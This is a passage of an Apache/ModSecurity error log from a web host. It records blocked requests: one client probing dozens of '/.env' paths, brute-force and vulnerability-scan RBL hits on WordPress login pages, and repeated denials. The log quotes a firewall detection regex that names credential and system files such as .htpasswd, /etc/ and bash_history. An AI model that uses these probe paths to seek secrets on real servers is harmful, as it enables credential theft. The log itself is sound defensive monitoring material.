https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:17:18.303748 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.59:45229] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:18.304027 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.59:45229] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:18.366856 2026] [security2:error] [pid 646876:tid 647032] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/with-react-relay-network-modern/.env"] [unique_id "ai3zDtyTkdrNlD40tSGuAAAAABg"] [Sat Jun 13 18:17:18.421253 2026] [security2:error] [pid 646876:tid 647127] [client 114.119.138.183:30155] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "nysas.org"] [uri "/robots.txt"] [unique_id "ai3zDtyTkdrNlD40tSGuAQAAAHc"], referer: http://nysas.org/robots.txt [Sat Jun 13 18:17:18.504865 2026] [security2:error] [pid 646876:tid 647122] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/with-relay-modern/.env"] [unique_id "ai3zDtyTkdrNlD40tSGuAwAAAHI"] [Sat Jun 13 18:17:18.645327 2026] [security2:error] [pid 646876:tid 647113] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/with-universal-configuration-build-time/.env"] [unique_id "ai3zDtyTkdrNlD40tSGuBgAAAGk"] [Sat Jun 13 18:17:18.694780 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.61:49686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:18.695078 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.61:49686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:18.784310 2026] [security2:error] [pid 646876:tid 647029] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/exapi/.env"] [unique_id "ai3zDtyTkdrNlD40tSGuCAAAABU"] [Sat Jun 13 18:17:18.868548 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.103:32666] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:18.868874 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.103:32666] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:18.874134 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:17:18.874574 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:17:18.926918 2026] [security2:error] [pid 646876:tid 647129] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Exercise.Frontend/.env"] [unique_id "ai3zDtyTkdrNlD40tSGuCgAAAHk"] [Sat Jun 13 18:17:19.072219 2026] [security2:error] [pid 646876:tid 647028] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Exercise.Frontend/train/.env"] [unique_id "ai3zD9yTkdrNlD40tSGuDQAAABQ"] [Sat Jun 13 18:17:19.076058 2026] [security2:error] [pid 646876:tid 646932] [remote 208.109.188.137:33238] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "powerinyouth.com"] [uri "/wp-login.php"] [unique_id "ai3zD9yTkdrNlD40tSGuDAAAbTU"] [Sat Jun 13 18:17:19.105221 2026] [security2:error] [pid 648189:tid 648418] [client 210.217.96.217:24327] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zD1WSojQL4F7upKBkJQAAAMU"] [Sat Jun 13 18:17:19.105370 2026] [security2:error] [pid 648189:tid 648418] [client 210.217.96.217:24327] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zD1WSojQL4F7upKBkJQAAAMU"] [Sat Jun 13 18:17:19.118956 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.95:48585] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:19.119361 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.95:48585] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:19.344968 2026] [security2:error] [pid 648189:tid 648389] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/export/.env"] [unique_id "ai3zD1WSojQL4F7upKBkKwAAAKk"] [Sat Jun 13 18:17:19.351370 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:17:19.351659 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:17:19.482428 2026] [security2:error] [pid 648189:tid 648422] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fastlane/.env"] [unique_id "ai3zD1WSojQL4F7upKBkMAAAAMk"] [Sat Jun 13 18:17:19.619468 2026] [security2:error] [pid 648189:tid 648397] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/favicons/.env"] [unique_id "ai3zD1WSojQL4F7upKBkNAAAALE"] [Sat Jun 13 18:17:19.756136 2026] [security2:error] [pid 648189:tid 648392] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/favs/.env"] [unique_id "ai3zD1WSojQL4F7upKBkNwAAAKw"] [Sat Jun 13 18:17:19.855705 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ni9wb3dlcg== [Sat Jun 13 18:17:19.856162 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ni9wb3dlcg== [Sat Jun 13 18:17:19.899237 2026] [security2:error] [pid 648189:tid 648436] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/FE/huey/.env"] [unique_id "ai3zD1WSojQL4F7upKBkOwAAANc"] [Sat Jun 13 18:17:20.037320 2026] [security2:error] [pid 646876:tid 646995] [remote 17.241.219.162:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 162.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zENyTkdrNlD40tSGuGQAAR3Q"] [Sat Jun 13 18:17:20.037611 2026] [security2:error] [pid 648189:tid 648443] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fedex/.env"] [unique_id "ai3zEFWSojQL4F7upKBkQQAAAN0"] [Sat Jun 13 18:17:20.073086 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.73:36262] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:20.073351 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.73:36262] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:20.168281 2026] [security2:error] [pid 648189:tid 648476] [client 34.23.213.224:40974] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zEFWSojQL4F7upKBkRQAAAPo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:20.174476 2026] [security2:error] [pid 648189:tid 648402] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fhir-api/.env"] [unique_id "ai3zEFWSojQL4F7upKBkRgAAALY"] [Sat Jun 13 18:17:20.212697 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.29:51567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:20.213156 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.29:51567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:20.311001 2026] [security2:error] [pid 648189:tid 648463] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/files/.env"] [unique_id "ai3zEFWSojQL4F7upKBkTAAAAO0"] [Sat Jun 13 18:17:20.329909 2026] [security2:error] [pid 646876:tid 647056] [client 34.23.213.224:40990] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zENyTkdrNlD40tSGuIQAAADA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:20.381370 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:17:20.381805 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:17:20.396904 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.52:36024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:20.397341 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.52:36024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:20.448795 2026] [security2:error] [pid 648189:tid 648453] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match 